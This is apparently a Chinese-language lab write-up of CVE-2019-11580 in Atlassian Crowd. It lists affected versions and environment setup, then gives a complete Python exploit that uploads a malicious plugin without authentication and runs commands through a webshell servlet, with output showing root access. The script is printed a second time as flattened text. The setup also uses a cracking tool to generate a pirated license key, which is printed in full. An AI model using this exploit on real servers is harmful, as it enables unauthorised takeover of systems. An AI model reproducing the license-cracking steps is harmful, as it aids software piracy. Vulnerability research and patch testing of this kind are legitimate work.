Atlassian Crowd 未授权访问漏洞

CVE-2019-11580

漏洞概述

Atlassian Crowd Data Center是Crowd的集群部署版。Atlassian Crowd和Crowd Data Center在其某些发行版本中错误地启用了了pdkinstall开发插件,使其存在安全漏漏洞洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd Data Center安装任意的恶意插件,执行任意代码/命令,从而获得服务器权限

影响版本

2.1.0 <= version < 3.0.5
3.1.0 <= version < 3.1.6
3.2.0 <= version < 3.2.8
3.3.0 <= version < 3.3.5
3.4.0 <= version < 3.4.4

环境搭建

下载搭建Atlassian-crowd-3.4.3，配置漏洞环境，下载crowd3.4.3的版本

wget https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip

修改配置文件

[root@localhost atlassian-crowd-3.4.3]# pwd
/opt/atlassian-crowd-3.4.3
[root@localhost atlassian-crowd-3.4.3]# vim crowd-webapp/WEB-INF/classes/crowd-init.properties

更改主目录的路径

启动crowd

[root@localhost atlassian-crowd-3.4.3]# sh start_crowd.sh 
To run Crowd in the foreground, start the server with start_crowd.sh -fg
Using CATALINA_BASE:   /opt/atlassian-crowd-3.4.3/apache-tomcat
Using CATALINA_HOME:   /opt/atlassian-crowd-3.4.3/apache-tomcat
Using CATALINA_TMPDIR: /opt/atlassian-crowd-3.4.3/apache-tomcat/temp
Using JRE_HOME:        /usr
Using CLASSPATH:       /opt/atlassian-crowd-3.4.3/apache-tomcat/bin/bootstrap.jar:/opt/atlassian-crowd-3.4.3/apache-tomcat/bin/tomcat-juli.jar
Using CATALINA_PID:    /opt/atlassian-crowd-3.4.3/apache-tomcat/work/catalina.pid
Tomcat started.

访问8095端口

得到服务器 id B1DP-2T7V-FIPR-PEBO 后通过破解程序atlassian-agent.jar获取许可证信息

生成破解码

[root@localhost tmp]# java -jar /opt/atlassian/atlassian-agent.jar -d -m test@test.com -n test.cn -p crowd -o http://192.168.32.183:8095 -s B1DP-2T7V-FIPR-PEBO 

====================================================
=======     Atlassian Crack Agent v1.3.1     =======
=======           https://zhile.io           =======
=======          QQ Group: 30347511          =======
====================================================

Your license code(Don't copy this line!!!): 

AAABoQ0ODAoPeJxtUU1v4jAUvPtXRNpzgh1KPpAsbZsYLd18LdAeuJnwaLwkDnIcCvz6JiRopVUvt
jRjv5k382PTgvHalobtGBjPiT/HrsHCjWFj20aBAq5FLUOugfaIiV3TdhA787K9M/TAywZQCE2ux
OmOvMlSVELD3ihFDrIBY3c1Cq1PzXwyuRWiBEvUKFUfXIpmGNKzHUl82yKOZ027y5vOPezPUK7qz
70VDZM21xMkvAIapHHMVsHyORofrDVXGtRoJ6il5rlmMRcl1dDon/1h5XWFRk+/eFPQOPgMFiE5y
lqz/Xa2Za/xkXHnskicJ3ebV8/FH5Jx6YC6pW01+ZveDgW/2NHNW11+f1CKuvlSg+QyB3Y5CXUdg
/L8PijsotH3MqTRMlyzxIyIM/O6xciTS3xvNN9ZFWegWrWA1qDOoLoPLyTMTHvjvpuLZbYyM/aSo
iNc30E1fWTEwdjF3nRKHiLfO8halRe8gf8rHJQ7lAcg++Tu6gOatNUOVHp4azoxapJHaA9tG63b3
b/CB98sod8sODZxL23oQH4BfpvL4jAsAhQt6OiEcmsu5eD6OZo5HBm8DIwpLwIUN7XS/JQ44Zrlu
tReQFf42Id/W0E=X02k4

安装完成

漏洞利用

CVE-2019-11580.py利用脚本

import requests
import sys

banner = '''\n   _______      ________    ___   ___  __  ___        __ __ _____  ___   ___  
  / ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \      /_ /_ | ____|/ _ \ / _ \ 
 | |     \ \  / /| |__ ______ ) | | | || | (_) |______| || | |__ | (_) | | | |
 | |      \ \/ / |  __|______/ /| | | || |\__, |______| || |___ \ > _ <| | | |
 | |____   \  /  | |____    / /_| |_| || |  / /       | || |___) | (_) | |_| |
  \_____|   \/   |______|  |____|\___/ |_| /_/        |_||_|____/ \___/ \___/ 
                                                                              
\n
                  python CVE-2019-11580.py http://xx.xx.xx.xx\n
'''
print banner






def is_url(url):
    upload_url = url + "/crowd/admin/uploadplugin.action"
    r = requests.get(upload_url, verify=False)
    if r.status_code==400:
        print upload_url
        send_poc(url)
    else:
        print "No Exit /crowd/admin/uploadplugin.action !"

def send_poc(url):
    url_vuln = url + "/crowd/admin/uploadplugin.action"
    headers = {
    'User-Agent': 'curl/7.29.0',
    'Accept': '*/*',
    'Content-Length': '5739',
    'Expect': '100-continue',
    'Content-Type': 'multipart/mixed; boundary=----------------------------f15fe87e95a7'
    }
    s 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    data = s.decode("hex")
    r = requests.post(url=url_vuln, headers=headers, data=data, verify=False)
    if r.status_code ==200 and "Installed" in r.content:
        print
        print r.content
        getwebshell(url)
    else:
        print  "No Exit!"
def getwebshell(url):
    webshell_url = url + "/crowd/plugins/servlet/exp?cmd=whoami"
    r = requests.get(webshell_url, verify=False)
    if r.status_code==200:
        print ">>>Get Webshell\n"
        print webshell_url+'\n'
        print "Exec command= whoami\n\nResult= %s"%r.text


if __name__ == '__main__':
    url = sys.argv[1]
    is_url(url)

[root@localhost CVE-2019-11580-master]# python CVE-2019-11580.py http://192.168.32.183:8095

   _______      ________    ___   ___  __  ___        __ __ _____  ___   ___  
  / ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \      /_ /_ | ____|/ _ \ / _ \ 
 | |     \ \  / /| |__ ______ ) | | | || | (_) |______| || | |__ | (_) | | | |
 | |      \ \/ / |  __|______/ /| | | || |\__, |______| || |___ \ > _ <| | | |
 | |____   \  /  | |____    / /_| |_| || |  / /       | || |___) | (_) | |_| |
  \_____|   \/   |______|  |____|\___/ |_| /_/        |_||_|____/ \___/ \___/ 
                                                                              


                  python CVE-2019-11580.py http://xx.xx.xx.xx


http://192.168.32.183:8095/crowd/admin/uploadplugin.action

Installed plugin /opt/atlassian-crowd-3.4.3/apache-tomcat/temp/plugindev-7114709723171005763rce.jar

>>>Get Webshell

http://192.168.32.183:8095/crowd/plugins/servlet/exp?cmd=whoami

Exec command= whoami

Result= root

然后访问获取的shell地址，无需认证登录即可获取IP地址。

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最后更新于2年前

这有帮助吗？

import requests import sys banner = '''\n _______ ________ ___ ___ __ ___ __ __ _____ ___ ___ / ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ /_ | ____|/ _ \ / _ \ | | \ \ / /| |__ ______ ) | | | || | (_) |______| || | |__ | (_) | | | | | | \ \/ / | __|______/ /| | | || |\__, |______| || |___ \ > _ <| | | | | |____ \ / | |____ / /_| |_| || | / / | || |___) | (_) | |_| | \_____| \/ |______| |____|\___/ |_| /_/ |_||_|____/ \___/ \___/ \n python CVE-2019-11580.py http://xx.xx.xx.xx\n ''' print banner def is_url(url): upload_url = url + "/crowd/admin/uploadplugin.action" r = requests.get(upload_url, verify=False) if r.status_code==400: print upload_url send_poc(url) else: print "No Exit /crowd/admin/uploadplugin.action !" def send_poc(url): url_vuln = url + "/crowd/admin/uploadplugin.action" headers = { 'User-Agent': 'curl/7.29.0', 'Accept': '*/*', 'Content-Length': '5739', 'Expect': '100-continue', 'Content-Type': 'multipart/mixed; boundary=----------------------------f15fe87e95a7' } s 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data = s.decode("hex") r = requests.post(url=url_vuln, headers=headers, data=data, verify=False) if r.status_code ==200 and "Installed" in r.content: print print r.content getwebshell(url) else: print "No Exit!" def getwebshell(url): webshell_url = url + "/crowd/plugins/servlet/exp?cmd=whoami" r = requests.get(webshell_url, verify=False) if r.status_code==200: print ">>>Get Webshell\n" print webshell_url+'\n' print "Exec command= whoami\n\nResult= %s"%r.text if __name__ == '__main__': url = sys.argv[1] is_url(url)